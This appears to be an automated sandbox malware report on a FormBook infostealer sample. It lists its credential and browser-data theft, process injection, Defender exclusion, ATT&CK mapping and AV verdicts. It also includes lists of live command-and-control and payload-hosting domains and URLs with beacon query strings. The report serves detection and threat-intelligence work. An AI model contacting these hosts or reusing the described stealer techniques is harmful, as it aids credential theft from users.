            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformationJump to behavior
            Source: C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformationJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
            Source: C:\Users\user\Desktop\P1 HWT623ATG.bat.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

            Stealing of Sensitive Information

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 9.2.P1 HWT623ATG.bat.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 9.2.P1 HWT623ATG.bat.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.3709324958.00000000032D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.3719882402.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1575852421.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1578650551.0000000001550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000019.00000002.3719927203.0000000002350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Tries to harvest and steal browser information (history, passwords, etc)
            Source: C:\Windows\SysWOW64\compact.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
            Source: C:\Windows\SysWOW64\compact.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
            Source: C:\Windows\SysWOW64\compact.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
            Source: C:\Windows\SysWOW64\compact.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State
            Source: C:\Windows\SysWOW64\compact.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State
            Source: C:\Windows\SysWOW64\compact.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
            Source: C:\Windows\SysWOW64\compact.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
            Source: C:\Windows\SysWOW64\compact.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
            Tries to steal Mail credentials (via file / registry access)
            Source: C:\Windows\SysWOW64\compact.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

            Remote Access Functionality

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 9.2.P1 HWT623ATG.bat.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 9.2.P1 HWT623ATG.bat.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 0000001A.00000002.3719971214.00000000036C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001B.00000002.3723441735.0000000005130000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.3709324958.00000000032D0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 0000001A.00000002.3719882402.0000000003680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1575209433.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1575852421.0000000000BD0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000009.00000002.1578650551.0000000001550000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000019.00000002.3719927203.0000000002350000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

            Mitre Att&ck Matrix

            ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
            Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
            Windows Management Instrumentation            		1
            DLL Side-Loading            		1
            Abuse Elevation Control Mechanism            		11
            Disable or Modify Tools            		1
            OS Credential Dumping            		1
            File and Directory Discovery            		Remote Services1
            Archive Collected Data            		13
            Ingress Tool Transfer            		Exfiltration Over Other Network MediumAbuse Accessibility Features
            CredentialsDomainsDefault Accounts1
            Shared Modules            		1
            Windows Service            		1
            DLL Side-Loading            		11
            Deobfuscate/Decode Files or Information            		LSASS Memory14
            System Information Discovery            		Remote Desktop Protocol1
            Data from Local System            		1
            Encrypted Channel            		Exfiltration Over BluetoothNetwork Denial of Service
            Email AddressesDNS ServerDomain Accounts1
            Command and Scripting Interpreter            		1
            Scheduled Task/Job            		1
            Windows Service            		1
            Abuse Elevation Control Mechanism            		Security Account Manager121
            Security Software Discovery            		SMB/Windows Admin Shares1
            Email Collection            		4
            Non-Application Layer Protocol            		Automated ExfiltrationData Encrypted for Impact
            Employee NamesVirtual Private ServerLocal Accounts1
            Scheduled Task/Job            		Login Hook612
            Process Injection            		4
            Obfuscated Files or Information            		NTDS2
            Process Discovery            		Distributed Component Object ModelInput Capture14
            Application Layer Protocol            		Traffic DuplicationData Destruction
            Gather Victim Network InformationServerCloud Accounts2
            PowerShell            		Network Logon Script1
            Scheduled Task/Job            		22
            Software Packing            		LSA Secrets51
            Virtualization/Sandbox Evasion            		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
            Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
            DLL Side-Loading            		Cached Domain Credentials1
            Application Window Discovery            		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
            DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
            Masquerading            		DCSyncRemote System DiscoveryWindows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
            Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job51
            Virtualization/Sandbox Evasion            		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
            Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt612
            Process Injection            		/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement

            Behavior Graph

            Hide Legend

            Legend:

            • Process
            • Signature
            • Created File
            • DNS/IP Info
            • Is Dropped
            • Is Windows Process
            • Number of created Registry Values
            • Number of created Files
            • Visual Basic
            • Delphi
            • Java
            • .Net C# or VB.NET
            • C, C++ or other language
            • Is malicious
            • Internet
            behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1452507 Sample: P1 HWT623ATG.bat.exe Startdate: 05/06/2024 Architecture: WINDOWS Score: 100 86 www.lenovest.xyz 2->86 88 www.x5hh186z.skin 2->88 90 19 other IPs or domains 2->90 116 Malicious sample detected (through community Yara rule) 2->116 118 Antivirus detection for URL or domain 2->118 120 Antivirus / Scanner detection for submitted sample 2->120 124 12 other signatures 2->124 12 P1 HWT623ATG.bat.exe 7 2->12         started        16 GnVIdcfKFYG.exe 5 2->16         started        signatures3 122 Performs DNS queries to domains with low reputation 86->122 process4 file5 74 C:\Users\user\AppData\...behaviorgraphnVIdcfKFYG.exe, PE32 12->74 dropped 76 C:\Users\...behaviorgraphnVIdcfKFYG.exe:Zone.Identifier, ASCII 12->76 dropped 78 C:\Users\user\AppData\Local\...\tmpC293.tmp, XML 12->78 dropped 80 C:\Users\user\...\P1 HWT623ATG.bat.exe.log, ASCII 12->80 dropped 132 Adds a directory exclusion to Windows Defender 12->132 134 Injects a PE file into a foreign processes 12->134 18 P1 HWT623ATG.bat.exe 12->18         started        21 powershell.exe 23 12->21         started        23 powershell.exe 23 12->23         started        25 schtasks.exe 1 12->25         started        136 Antivirus detection for dropped file 16->136 138 Multi AV Scanner detection for dropped file 16->138 140 Machine Learning detection for dropped file 16->140 27 schtasks.exe 1 16->27         started        29 GnVIdcfKFYG.exe 16->29         started        signatures6 process7 signatures8 100 Maps a DLL or memory area into another process 18->100 31 hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe 18->31 injected 102 Obfuscated command line found 21->102 104 Found suspicious powershell code related to unpacking or dynamic code loading 21->104 106 Loading BitLocker PowerShell Module 21->106 108 Powershell drops PE file 21->108 34 conhost.exe 21->34         started        36 WmiPrvSE.exe 23->36         started        38 conhost.exe 23->38         started        40 conhost.exe 25->40         started        42 conhost.exe 27->42         started        process9 signatures10 150 Found direct / indirect Syscall (likely to bypass EDR) 31->150 44 compact.exe 31->44         started        process11 dnsIp12 98 2.56.245.142, 49731, 80 GBTCLOUDUS Germany 44->98 82 C:\Users\user\AppData\Local\Temp\bfc.exe, PE32 44->82 dropped 84 C:\Users\user\AppData\...behaviorgraphuzzler[1].exe, PE32 44->84 dropped 142 Tries to steal Mail credentials (via file / registry access) 44->142 144 Tries to harvest and steal browser information (history, passwords, etc) 44->144 146 Modifies the context of a thread in another process (thread injection) 44->146 148 2 other signatures 44->148 49 bfc.exe 44->49         started        53 hCVJFOyzXcYEeTIAROhZtqYPJEhCFf.exe 44->53 injected 56 firefox.exe 44->56         started        file13 signatures14 process15 dnsIp16 68 C:\Users\user\AppData\...\skuboppernes.sys, data 49->68 dropped 70 C:\Users\user\AppData\Local\...\Renowned.tha, ASCII 49->70 dropped 110 Suspicious powershell command line found 49->110 112 Sample is not signed and drops a device driver 49->112 58 powershell.exe 49->58         started        92 shahaf3d.com 64.46.118.35, 49719, 49720, 49721 SINGLEHOP-LLCUS United States 53->92 94 www.lenovest.xyz 162.0.213.94, 49727, 49728, 49729 ACPCA Canada 53->94 96 10 other IPs or domains 53->96 114 Found direct / indirect Syscall (likely to bypass EDR) 53->114 file17 signatures18 process19 file20 72 C:\Users\user\AppData\Local\Temp\Smilet.exe, PE32 58->72 dropped 126 Obfuscated command line found 58->126 128 Writes to foreign memory regions 58->128 130 Sample uses process hollowing technique 58->130 62 conhost.exe 58->62         started        64 cmd.exe 58->64         started        66 Smilet.exe 58->66         started        signatures21 process22

            Screenshots

            Thumbnails

            This section contains all screenshots as thumbnails, including those not shown in the slideshow.


            windows-stand

            Antivirus, Machine Learning and Genetic Malware Detection

            Initial Sample

            SourceDetectionScannerLabelLink
            P1 HWT623ATG.bat.exe58%ReversingLabsByteCode-MSIL.Trojan.FormBook
            P1 HWT623ATG.bat.exe100%AviraHEUR/AGEN.1306292
            P1 HWT623ATG.bat.exe100%Joe Sandbox ML

            Dropped Files

            SourceDetectionScannerLabelLink
            C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe100%AviraHEUR/AGEN.1306292
            C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe100%Joe Sandbox ML
            C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\Guzzler[1].exe11%ReversingLabs
            C:\Users\user\AppData\Local\Temp\Smilet.exe11%ReversingLabs
            C:\Users\user\AppData\Local\Temp\bfc.exe11%ReversingLabs
            C:\Users\user\AppData\Roaming\GnVIdcfKFYG.exe58%ReversingLabsByteCode-MSIL.Trojan.FormBook

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            SourceDetectionScannerLabelLink
            shahaf3d.com100%Sophos S4malware callhome domain
            futuregainers.net100%Sophos S4malware callhome domain
            www.931951.com100%Sophos S4malware repository domain
            www.93v0.com100%Sophos S4malware repository domain
            srripaspocon.org100%Sophos S4malware callhome domain
            www.grecanici.com100%Sophos S4malware repository domain
            www.torentreprenad.com100%Sophos S4malware repository domain
            www.leadchanges.info100%Sophos S4malware repository domain
            www.srripaspocon.org100%Sophos S4malware callhome domain
            www.shahaf3d.com100%Sophos S4malware callhome domain
            www.futuregainers.net100%Sophos S4malware callhome domain
            www.navigate-power.boats100%Sophos S4malware repository domain

            URLs

            SourceDetectionScannerLabelLink
            https://duckduckgo.com/chrome_newtab0%Avira URL Cloudsafe
            http://www.931951.com/2ha1/100%Sophos S4malware repository domain
            http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/themes/countdown/style.css?v=4.1.100%Sophos S4malware callhome domain
            http://www.shahaf3d.com/0a9p/?G0a=VFN0vBc0ol1ljnb0&9d=V8kIBUO99PR2h3hxIilGCb7xaYAlhXctAHbGwYfDKyusvK4qrRX5UHKQt8cO5YQS4wmk4tmPPEFmQcKp7F6SaRICxMFUNkXtPm1N7nAwt3H84qVeuxzzlvsq+rVjUlYjzq9gXVFKEYh8100%Sophos S4malware callhome domain
            http://www.torentreprenad.com/r45o/?9d=gzu5VRbRlKcxtienrOg/vYWmVRq4TNxrFroidVFNmLFBxOvIucJSpLXaDw+Y+myNYDD7xGaCks3CSH70SMI2pnLhFLXOBLrZylJOsjWCWApEJOKs/ooDCJFxqK6p3RZXycGtf6I8hj/U&G0a=VFN0vBc0ol1ljnb0100%Sophos S4malware repository domain
            https://shahaf3d.com/wp-admin/admin-ajax.php100%Sophos S4malware callhome domain
            http://www.93v0.com/hcaw/100%Sophos S4malware repository domain
            http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/js/external/vidim.min.js?v=1.0.2100%Sophos S4malware callhome domain
            http://www.srripaspocon.org/egr4/?9d=OombhWzhkCuNqFAQBgJWCTIe5Ku7zRL7Rc3Pxm83mLxAAziOmqPFMSLkiV9xX+4t83HRZJys59Cvhm/US+qC1S/tz9V2xJeiTRy2uMqSR06k3ZbbYlILY5knN9gwwCUqzf9nwI+FPnn/&G0a=VFN0vBc0ol1ljnb0100%Sophos S4malware callhome domain
            http://www.931951.com/2ha1/?G0a=VFN0vBc0ol1ljnb0&9d=r6q+x3A/FEQLw6gmNICl4m79J6xGYnb4MeLNvFaSJRcJ7hS0Yil9+YspC9bp8TGkQ6fd6C5Pq3eWOBjFGqN2LEX+h4RptWZDRuVlG4JzOnajShxrpz3BSvEogxiihZ9tHyNye+qQgWsY100%Sophos S4malware repository domain
            http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/css/animate.min.css100%Sophos S4malware callhome domain
            https://shahaf3d.com/wp-content/uploads/2023/08/shahaf-3d-concrete-printing.jpg100%Sophos S4malware callhome domain
            http://www.93v0.com/hcaw/?9d=Xa5/huFy8Eck4v8ee+xdjh1i7ba8Clp/lHr4KuxbDQUg1IaZpZOFGkNm4jxFFpbvuuzZpNiUUgQ/swG1ojXNpV/H8uI+lgidsfe724rSsodQ5uAfCV2elW9ENMTuv5SSVXQJAcj0qHHf&G0a=VFN0vBc0ol1ljnb0100%Sophos S4malware repository domain
            https://duckduckgo.com/ac/?q=0%Avira URL Cloudsafe
            http://www.shahaf3d.com/0a9p/?G0a=VFN0vBc0ol1ljnb0&9d=V8kIBUO99PR2h3hxIilGCb7xaYAlhXctAHbGwYfDKyusvK4qrRX5UHKQt8cO5YQS4wmk4tmPPEFmQcKp7F6SaRICxMFUNkXtPm1N7nAwt3H84qVeuxzzlvsq+rVjUlYjzq9gXVFKEYh8100%Avira URL Cloudmalware
            http://www.shopnow321.online/41br/?G0a=VFN0vBc0ol1ljnb0&9d=65BU6tOk0p5LPOIIq5f29seWsrYdgC5c7tuB1xkwgoR5MWDkLOQgx5fJDEvOf4AlMkoVXixJXV15AbOmLh5rfhm5DYiSLYNIQJZpK4Rmnt3Mzv5831d4ZrhRkHRqInFW2dXaUcZHASEt0%Avira URL Cloudsafe
            http://www.931951.com/2ha1/100%Avira URL Cloudmalware
            http://ozon.ru/0%Avira URL Cloudsafe
            https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=0%Avira URL Cloudsafe
            http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/themes/countdown/style.css?v=4.1.100%Avira URL Cloudmalware
            https://niteothemes.com0%Avira URL Cloudsafe
            https://optimize.google.com0%Avira URL Cloudsafe
            http://www.torentreprenad.com/r45o/?9d=gzu5VRbRlKcxtienrOg/vYWmVRq4TNxrFroidVFNmLFBxOvIucJSpLXaDw+Y+myNYDD7xGaCks3CSH70SMI2pnLhFLXOBLrZylJOsjWCWApEJOKs/ooDCJFxqK6p3RZXycGtf6I8hj/U&G0a=VFN0vBc0ol1ljnb00%Avira URL Cloudsafe
            http://push.zhanzhang.baidu.com/push.js0%Avira URL Cloudsafe
            http://www.leadchanges.info/mjuo/100%Sophos S4malware repository domain
            http://www.futuregainers.net/l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqMzQc+iQ+00df400Ki5pEb+b+RkpzmaC/oeJhPADFzgiJMLR5FtBl6eht1vjrsMq9ONCaKj3k5GiGvog+&G0a=VFN0vBc0ol1ljnb0100%Sophos S4malware callhome domain
            http://www.shahaf3d.com/0a9p/100%Sophos S4malware callhome domain
            http://www.srripaspocon.org/egr4/100%Sophos S4malware callhome domain
            http://www.grecanici.com/4iea/?9d=LPPTutp79E4NI/FTL4slzgCz9Mw5fMldsgpq5qffN1EY6wk4NmMiGrfPgNjCGewOe8/3zUEWliAlmzRgBncp/x6QXeu+cIhmsENqwLKbzAke2hCAvuJuIziLbcuyQtVHWzDtEtwuFhDD&G0a=VFN0vBc0ol1ljnb0100%Sophos S4malware repository domain
            https://td.doubleclick.net0%URL Reputationsafe
            http://www.leadchanges.info/mjuo/?9d=GUK7oVIRF3FAoVisjIpZqa7HO+54FDT9CfoAB53ViUuzbZ1TAtWa7LnCzENP06w/wd6reHxcMz42RIoq6sWsgYEYCrnoxIy0wOTor1QdDe9x8GrLmxcBWSK4ygqmUmz0vTBYLSkIKLnt&G0a=VFN0vBc0ol1ljnb0100%Sophos S4malware repository domain
            https://shahaf3d.com100%Sophos S4malware callhome domain
            http://www.grecanici.com/4iea/100%Sophos S4malware repository domain
            http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd0%Avira URL Cloudsafe
            https://static.loopia.se/responsive/images/iOS-72.png0%Avira URL Cloudsafe
            https://www.googleoptimize.com0%Avira URL Cloudsafe
            https://shahaf3d.com/wp-admin/admin-ajax.php100%Avira URL Cloudmalware
            https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking0%Avira URL Cloudsafe
            http://www.93v0.com/hcaw/0%Avira URL Cloudsafe
            https://static.loopia.se/shared/logo/logo-loopia-white.svg0%Avira URL Cloudsafe
            http://www.leadchanges.info100%Sophos S4malware repository domain
            http://www.torentreprenad.com/r45o/100%Sophos S4malware repository domain
            https://www.futuregainers.net/l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqM100%Sophos S4malware callhome domain
            https://youtu.be/uO1hXLmT2j40%Avira URL Cloudsafe
            https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw0%Avira URL Cloudsafe
            https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park0%Avira URL Cloudsafe
            https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search0%Avira URL Cloudsafe
            http://www.againbeautywhiteskin.asia/3h10/?9d=9mZLXJL8GvO5ODxbtOpJ+rtZ6f1lqm3xC+OCFBImS8kNzrmbjyRfioF27F6qemRmHzSdXM7CT4wlEWpleIDtGTZ1FuoRBIGpq98dFU7vfHeXH9gl+ce92Dv1nZMBIpBNzTq2jDHLjtUw&G0a=VFN0vBc0ol1ljnb00%Avira URL Cloudsafe
            https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.14.0/css/all.min.css0%Avira URL Cloudsafe
            https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-2140%Avira URL Cloudsafe
            https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe0%Avira URL Cloudsafe
            https://fburl.com0%Avira URL Cloudsafe
            http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/js/external/vidim.min.js?v=1.0.2100%Avira URL Cloudmalware
            http://www.srripaspocon.org/egr4/?9d=OombhWzhkCuNqFAQBgJWCTIe5Ku7zRL7Rc3Pxm83mLxAAziOmqPFMSLkiV9xX+4t83HRZJys59Cvhm/US+qC1S/tz9V2xJeiTRy2uMqSR06k3ZbbYlILY5knN9gwwCUqzf9nwI+FPnn/&G0a=VFN0vBc0ol1ljnb00%Avira URL Cloudsafe
            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%Avira URL Cloudsafe
            http://aliez.tv/0%Avira URL Cloudsafe
            https://static.loopia.se/shared/images/additional-pages-hero-shape.webp0%Avira URL Cloudsafe
            https://static.loopia.se/shared/style/2022-extra-pages.css0%Avira URL Cloudsafe
            http://shahaf3d.com/wp-content/plugins/cmp-coming-soon-maintenance/css/animate.min.css100%Avira URL Cloudmalware
            http://www.lenovest.xyz/e20q/0%Avira URL Cloudsafe
            https://shahaf3d.com/wp-content/uploads/2023/08/shahaf-3d-concrete-printing.jpg100%Avira URL Cloudmalware
            http://www.931951.com/2ha1/?G0a=VFN0vBc0ol1ljnb0&9d=r6q+x3A/FEQLw6gmNICl4m79J6xGYnb4MeLNvFaSJRcJ7hS0Yil9+YspC9bp8TGkQ6fd6C5Pq3eWOBjFGqN2LEX+h4RptWZDRuVlG4JzOnajShxrpz3BSvEogxiihZ9tHyNye+qQgWsY100%Avira URL Cloudmalware
            http://www.93v0.com/hcaw/?9d=Xa5/huFy8Eck4v8ee+xdjh1i7ba8Clp/lHr4KuxbDQUg1IaZpZOFGkNm4jxFFpbvuuzZpNiUUgQ/swG1ojXNpV/H8uI+lgidsfe724rSsodQ5uAfCV2elW9ENMTuv5SSVXQJAcj0qHHf&G0a=VFN0vBc0ol1ljnb00%Avira URL Cloudsafe
            https://raw.github.com/natrim/Sign-Control/master/release.txt0%Avira URL Cloudsafe
            https://static.loopia.se/responsive/images/iOS-114.png0%Avira URL Cloudsafe
            https://www.google.com/images/branding/product/ico/googleg_lodp.ico0%Avira URL Cloudsafe
            http://www.litespeedtech.com/error-page0%Avira URL Cloudsafe
            https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park0%Avira URL Cloudsafe
            http://www.leadchanges.info/mjuo/0%Avira URL Cloudsafe
            https://www.googleanalytics.com0%Avira URL Cloudsafe
            http://www.futuregainers.net/l4k7/?9d=afjyNtLybwItDht5F4JWljDwa9eg0AOKeO4XK5PuceGx/XGrL/B5lBywYHYqMzQc+iQ+00df400Ki5pEb+b+RkpzmaC/oeJhPADFzgiJMLR5FtBl6eht1vjrsMq9ONCaKj3k5GiGvog+&G0a=VFN0vBc0ol1ljnb00%Avira URL Cloudsafe
            https://zz.bdstatic.com/linksubmit/push.js0%Avira URL Cloudsafe
            https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=0%Avira URL Cloudsafe
            http://www.shahaf3d.com/0a9p/100%Avira URL Cloudmalware
            http://www.lenovest.xyz/e20q/?9d=WPritX3A9R+ySLDHKkvQUC0K3y08yWvw5+tRT3chZ2wpNsEUE7uyewm5xlmwIO2sKs7uf3/86JENB8xtRbvRK6PKTUJmFuSnUKaTSFytHSrQj6qyTDgK0xjAREMwU5wVtegslCXYDiBq&G0a=VFN0vBc0ol1ljnb00%Avira URL Cloudsafe
            http://www.ftp.ftp://ftp.gopher.0%Avira URL Cloudsafe
            http://nsis.sf.net/NSIS_ErrorError0%Avira URL Cloudsafe
            http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut0%Avira URL Cloudsafe
            https://www.ecosia.org/newtab/0%Avira URL Cloudsafe
            http://www.srripaspocon.org/egr4/0%Avira URL Cloudsafe
            https://static.loopia.se/responsive/styles/reset.css0%Avira URL Cloudsafe
            https://static.loopia.se/responsive/images/iOS-57.png0%Avira URL Cloudsafe
            https://ac.ecosia.org/autocomplete?q=0%Avira URL Cloudsafe
            http://www.grecanici.com/4iea/?9d=LPPTutp79E4NI/FTL4slzgCz9Mw5fMldsgpq5qffN1EY6wk4NmMiGrfPgNjCGewOe8/3zUEWliAlmzRgBncp/x6QXeu+cIhmsENqwLKbzAke2hCAvuJuIziLbcuyQtVHWzDtEtwuFhDD&G0a=VFN0vBc0ol1ljnb00%Avira URL Cloudsafe
            http://www.klimkina.pro/4mpz/0%Avira URL Cloudsafe
            http://www.klimkina.pro/4mpz/?9d=Y+s3rA3a2LtNoPwWBpgaIhZOwJKcGGwPKC2uuWvM7lg96Y/Bosg4gpfl0qSHVI44Bh+XBT77oF2RMn9kUx4VpizPsaF86hmUooqlU0clf3MZo9yRfCdtfy1jNGRBq2V4+pMGerSvIMLN&G0a=VFN0vBc0ol1ljnb00%Avira URL Cloudsafe
